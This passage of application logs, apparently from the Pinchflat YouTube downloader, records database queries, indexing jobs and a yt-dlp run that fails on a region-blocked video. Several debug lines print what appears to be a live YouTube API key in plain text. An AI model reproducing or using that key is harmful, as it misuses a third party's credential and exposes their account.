"oeHtfMFdzIY", "i63u-iAnhuk", "eCR17sBh-Qw", "269OsrzG3Ew", "-7X5KukvABc", "We2ZD0-IXPM", "AphNalSmvlk", "FXrcFeuYtq8", "rCllEeHXjUw", "bMou1qUMHC4", ...] 17:47:43.475 [debug] QUERY OK source="media_items" db=2.1ms idle=129.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 17:47:43.476 [debug] QUERY OK source="tasks" db=0.1ms idle=126.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800300, 10, ~U[2026-02-10 23:47:43Z], ~U[2026-02-10 23:47:43Z]] 17:47:43.476 [info] {"args":{"id":10},"id":3800261,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":324169,"event":"job:stop","queue_time":309915,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:44.152 [info] {"args":{"id":9},"id":3800262,"meta":{},"system_time":1770767264152756563,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:44.152 [info] {"args":{"id":8},"id":3800263,"meta":{},"system_time":1770767264152795925,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:44.153 [debug] QUERY OK source="sources" db=0.1ms idle=676.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [9] 17:47:44.153 [debug] QUERY OK source="sources" db=0.3ms idle=676.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [8] 17:47:44.153 [debug] QUERY OK source="settings" db=0.1ms idle=670.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:44.153 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:44.153 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:44.153 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:44.153 [debug] Fetching recent media IDs from YouTube API for playlist: UUY1kMZp36IQSyNx_9h4mpCg 17:47:44.153 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:44.154 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:44.154 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:44.154 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:44.154 [debug] Fetching recent media IDs from YouTube API for playlist: UU0KfjyvabuE2J-RBC6ko2Lw 17:47:44.154 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:44.154 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:44.297 [debug] QUERY OK source="media_items" db=0.8ms idle=143.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [9, "kgSHJhX6ly0", "X_rh2S74UJs", "c4dH8MpXYH4", "lSDoCbQsKxY", "qsJgJjOG5tY", "lNOjw3KRsqg", "oZOCmEDROHY", "AGUO3YQ_Y38", "jjpjjcMeujM", "jfUU24gaqNg", "pLtHyLlLt4Y", "PrWBvvwZ-4o", "0XgcOz95hTs", "ZGhPz6FINWA", "oSfubCtcyHo", "q2C1JpQi5G4", "mnDe3BaEBxc", "D1sCU41SRVU", "3x0MQxcYqmE", "dmr0Q5ambKk", "uDVygnvQzLI", "prjayUu9qMQ", "mJZldCMZhyA", "i41gbn5zmqc", "KRhofr57Na8", "1IotjpIZvAg", "v1FNHkt0ISk", "RkX6iRhYOEM", "eW8ZNkuLhZw", "9IiYOTzJ2uw", "paHr1oLaqJ4", "aL6P0ChwcHg", "iQJfOkDUvJM", "1QAmBamacU4", "qr1AvisQcV8", "tt_l_-5_8WU", "RYeNu159Sgc", "pzRH6JbphrI", "EfSw0_OxCGY", "PtIChOU86Xs", "0rVF_cl9trE", "g6tlNyr5sl8", "SUnNPS3rBXk", "f7hHtuS7ygY", "qyIzUOVG840", "U1MigIJXJx8", "IQJL3htsDyQ", "sLy-x38ILZE", "p7f8oR5ELwk", ...] 17:47:44.299 [debug] QUERY OK source="media_items" db=0.6ms idle=144.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [9] 17:47:44.300 [debug] QUERY OK source="tasks" db=0.1ms idle=145.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800301, 9, ~U[2026-02-10 23:47:44Z], ~U[2026-02-10 23:47:44Z]] 17:47:44.300 [info] {"args":{"id":9},"id":3800262,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147575,"event":"job:stop","queue_time":504874,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:44.454 [debug] QUERY OK source="media_items" db=0.6ms idle=153.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [8, "8eWLi8Sm0H4", "cz-4H9vUEk4", "wobociFUM1E", "Za9PGELm5UQ", "79OTRGiCElE", "7oA7zyIxBkk", "H_D7GXUeHGo", "x57ds5lx_XI", "LlEL2Hb1VtQ", "4wgW-Fxbf4M", "NQaWtBdlwqI", "NfIuDxt-IyI", "gv__3ei1qb4", "4Pv9afb1HsY", "fSTBcDfNAGk", "b5thWhoEJUc", "11JEyjWPKkM", "abIWwY51RX8", "C8rTYj_jC4A", "xQvQH0GH6GM", "UAF_AGEOMRw", "aq13trnsgq4", "oVsMfMH9D6A", "h4KqzaZnx5U", "gosW702fFg4", "FbZAce_ZO1o", "8FHuMjmBgMQ", "BDjocv-3EKQ", "JT5RkjpgC10", "dtJtrmgl0hA", "ghAuHlrirkg", "VWT-wWxS_zM", "R1-leCEWNy8", "T6hkupYbkFI", "9buHzRb-N7A", "I39f2i-2NCo", "oi0XARbmQeI", "aV8p8MPHnGc", "NmN8sgnz5d0", "INd_nlbLedE", "TFCRLLeCjL0", "PDANwfuB79Q", "5XAh1nDOI6c", "BjhiYa0KsSM", "R4Q1HuXDa6o", "ik_hSkKT0OA", "uCsFBIlEybE", "tPssrCriHkE", "Dhn7oLQPyYI", ...] 17:47:44.455 [debug] QUERY OK source="media_items" db=0.3ms idle=154.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [8] 17:47:44.456 [debug] QUERY OK source="tasks" db=0.1ms idle=149.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800302, 8, ~U[2026-02-10 23:47:44Z], ~U[2026-02-10 23:47:44Z]] 17:47:44.456 [info] {"args":{"id":8},"id":3800263,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":303331,"event":"job:stop","queue_time":416479,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:47.155 [info] {"args":{"id":6},"id":3800264,"meta":{},"system_time":1770767267155660809,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:47:47.156 [debug] QUERY OK source="sources" db=0.1ms idle=1277.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:47:47.156 [debug] QUERY OK source="settings" db=0.1ms idle=1277.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:47.156 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:47:47.156 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:47.156 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 17:47:47.156 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:47.156 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:47:47.270 [debug] QUERY OK source="media_items" db=0.6ms idle=113.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 17:47:47.270 [debug] QUERY OK source="settings" db=0.0ms idle=114.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:47.271 [debug] QUERY OK source="settings" db=0.0ms idle=114.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:47.271 [debug] Running yt-dlp command for action: get_media_attributes 17:47:47.272 [debug] QUERY OK source="settings" db=0.0ms idle=115.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:47.272 [debug] QUERY OK source="settings" db=0.1ms idle=115.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:47.272 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:47:47.272 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9a/94/9a9458acacb44345bb46875e1c8fdc13c35297e89b410228e8e70f6d22135f8d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:47:48.576 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/9a/94/9a9458acacb44345bb46875e1c8fdc13c35297e89b410228e8e70f6d22135f8d.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:47:48.576 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic 